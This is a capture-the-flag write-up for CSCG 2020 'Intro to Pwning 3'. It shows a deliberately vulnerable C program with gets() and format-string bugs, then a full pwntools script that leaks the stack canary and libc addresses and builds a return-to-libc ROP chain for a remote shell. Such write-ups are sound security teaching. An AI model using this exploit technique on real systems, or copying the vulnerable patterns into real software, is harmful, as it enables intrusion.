CSCG 2020: Intro to Pwning 3


intro_pwn.zip is given.

The writeup for part 2 can be found here. First we take a look at the source code.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>

#ifndef PASSWORD
    #define PASSWORD "CSCG{FLAG_FROM_STAGE_2}"
#endif

// pwn3: gcc pwn3.c -o pwn3

// --------------------------------------------------- SETUP

void ignore_me_init_buffering() {
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
}

void kill_on_timeout(int sig) {
  if (sig == SIGALRM) {
  	printf("[!] Anti DoS Signal. Patch me out for testing.");
    _exit(0);
  }
}

void ignore_me_init_signal() {
	signal(SIGALRM, kill_on_timeout);
	alarm(60);
}

// just a safe alternative to gets()
size_t read_input(int fd, char *buf, size_t size) {
  size_t i;
  for (i = 0; i < size-1; ++i) {
    char c;
    if (read(fd, &c, 1) <= 0) {
      _exit(0);
    }
    if (c == '\n') {
      break;
    }
    buf[i] = c;
  }
  buf[i] = '\0';
  return i;
}

// --------------------------------------------------- MENU

void WINgardium_leviosa() {
    printf("They has discovered our secret, Nagini.\n");
    printf("It makes us vulnerable.\n");
    printf("We must deploy all our forces now to find them.\n");
    // system("/bin/sh") it's not that easy anymore.
}

void check_password_stage2() {
    char read_buf[0xff];
    printf("Enter the password of stage 2:\n");
    memset(read_buf, 0, sizeof(read_buf));
    read_input(0, read_buf, sizeof(read_buf));
    if(strcmp(read_buf, PASSWORD) != 0) {
        printf("-10 Points for Gryffindor!\n");
        _exit(0);
    } else {
        printf("+10 Points for Gryffindor!");
    }
}

void welcome() {
    char read_buf[0xff];
    printf("Enter your witch name:\n");
    gets(read_buf);
    printf("┌───────────────────────┐\n");
    printf("│ You are a Gryffindor! │\n");
    printf("└───────────────────────┘\n");
    printf(read_buf);
}

void AAAAAAAA() {
    char read_buf[0xff];
    
    printf(" enter your magic spell:\n");
    gets(read_buf);
    if(strcmp(read_buf, "Expelliarmus") == 0) {
        printf("~ Protego!\n");
    } else {
        printf("-10 Points for Gryffindor!\n");
        _exit(0);
    }
}

// --------------------------------------------------- MAIN

void main(int argc, char* argv[]) {
	  ignore_me_init_buffering();
	  ignore_me_init_signal();

    check_password_stage2();

    welcome();
    AAAAAAAA();	
}

The code is almost the same as in the second challenge, but this time the WINgardium_leviosa does not give a shell. Instead of that, we will use return-to-libc to call sytem("/bin/sh", 0, 0) and spawn a shell. Therefore, we have to leak a libc address using the format string vulnerability.

[*] leaked: [b'\xe2\x94\x8c\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x90\n\xe2\x94\x82 You are a Gryffindor! \xe2\x94\x82\n\xe2\x94\x94\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x98\n0x7f403395f723', b'(nil)', b'0x7f4033885317', b'0x4c', b'(nil)', b'0x70252e70252e7025', b'0x252e70252e70252e', b'0x2e70252e70252e70', b'0x70252e70252e7025', b'0x252e70252e70252e', b'0x2e70252e70252e70', b'0x70252e70252e7025', b'0x252e70252e70252e', b'0x2e70252e70252e70', b'0x70252e70252e7025', b'0x252e70252e70252e', b'0x2e70252e70252e70', b'0x70252e70252e7025', b'0x252e70252e70252e', b'0x2e70252e70252e70', b'0x2e7025', b'(nil)', b'(nil)', b'(nil)', b'(nil)', b'(nil)', b'(nil)', b'(nil)', b'(nil)', b'(nil)', b'(nil)', b'(nil)', b'(nil)', b'(nil)', b'(nil)', b'(nil)', b'0xdd00000000000000', b'(nil)', b'0xdd01ee6de38ffe00', b'0x7ffdac229fe0', b'0x55f6b88dfd7e', b' enter your magic spell:\n']

[*] leaked binary: 0x55f6b88dfd7e
[*] leaked canary: 0xdd01ee6de38ffe00
[*] leaked libc: 0x7f4033885317

We can find the canary and a libc address. From the leaked libc address we are able to calculate the binary and libc base address. We will use pwntools for the calculations. With the shell from challenge 2 we can get the used libc version libc-2.30.so on the server. We set the libc address to the leaked base address minus the offset of the leak. For our rop chain we have to align the stack first. After that we can call system. To rop we have to overwrite the canary with the previous leaked value and again start the entered string with Expelliarmus\x00.

#!/usr/bin/python3.7

from pwn import *
context.arch = 'amd64'
context.bits = 64

chal = './pwn3'
# libc = '/lib/x86_64-linux-gnu/libc.so.6' # local
libc = 'libc-2.30.so' # remote

p = remote('hax1.allesctf.net',9102)
e = ELF(chal)
l = ELF(libc)

# pwd of challenge
#pw = 'CSCG{THIS_IS_TEST_FLAG}' # local
pw = 'CSCG{NOW_GET_VOLDEMORT}' # remote
p.sendlineafter('Enter the password of stage 2:', pw)

# leak binary with name
p.sendlineafter('Enter your witch name:\n',  '%p.'*41)
leak = p.recvuntil('enter your magic spell:\n').split(b'.')
leak_binary = int(leak[-2], 16)
leak_canary = int(leak[-4], 16)
leak_libc = int(leak[2], 16)

log.info('leaked: %s' % leak)
log.info('leaked binary: %s' % hex(leak_binary))
log.info('leaked canary: %s' % hex(leak_canary))
log.info('leaked libc: %s' % hex(leak_libc))

# calculate binary address
binary_base = leak_binary - 0xdc5
log.info('binary base: %s' % hex(binary_base))

# calculate binary address
libc_base = leak_libc - 0x111317
log.info('libc base: %s' % hex(libc_base))

# update binary and libc address
e.address = binary_base
l.address = libc_base

# build rop chain
rop = ROP(l)
rop.raw(rop.find_gadget(['ret'])) # align stack
rop.system(next(l.search(b'/bin/sh\x00')))
log.info(rop.dump())
input()
exp = b'Expelliarmus\x00'
p.sendline(exp + b'A'*(256-len(exp)) + b'deadbeef' + p64(leak_canary) + b'deadbeef' + rop.chain())

p.interactive()

This gives us a shell and the flag CSCG{VOLDEMORT_DID_NOTHING_WRONG}.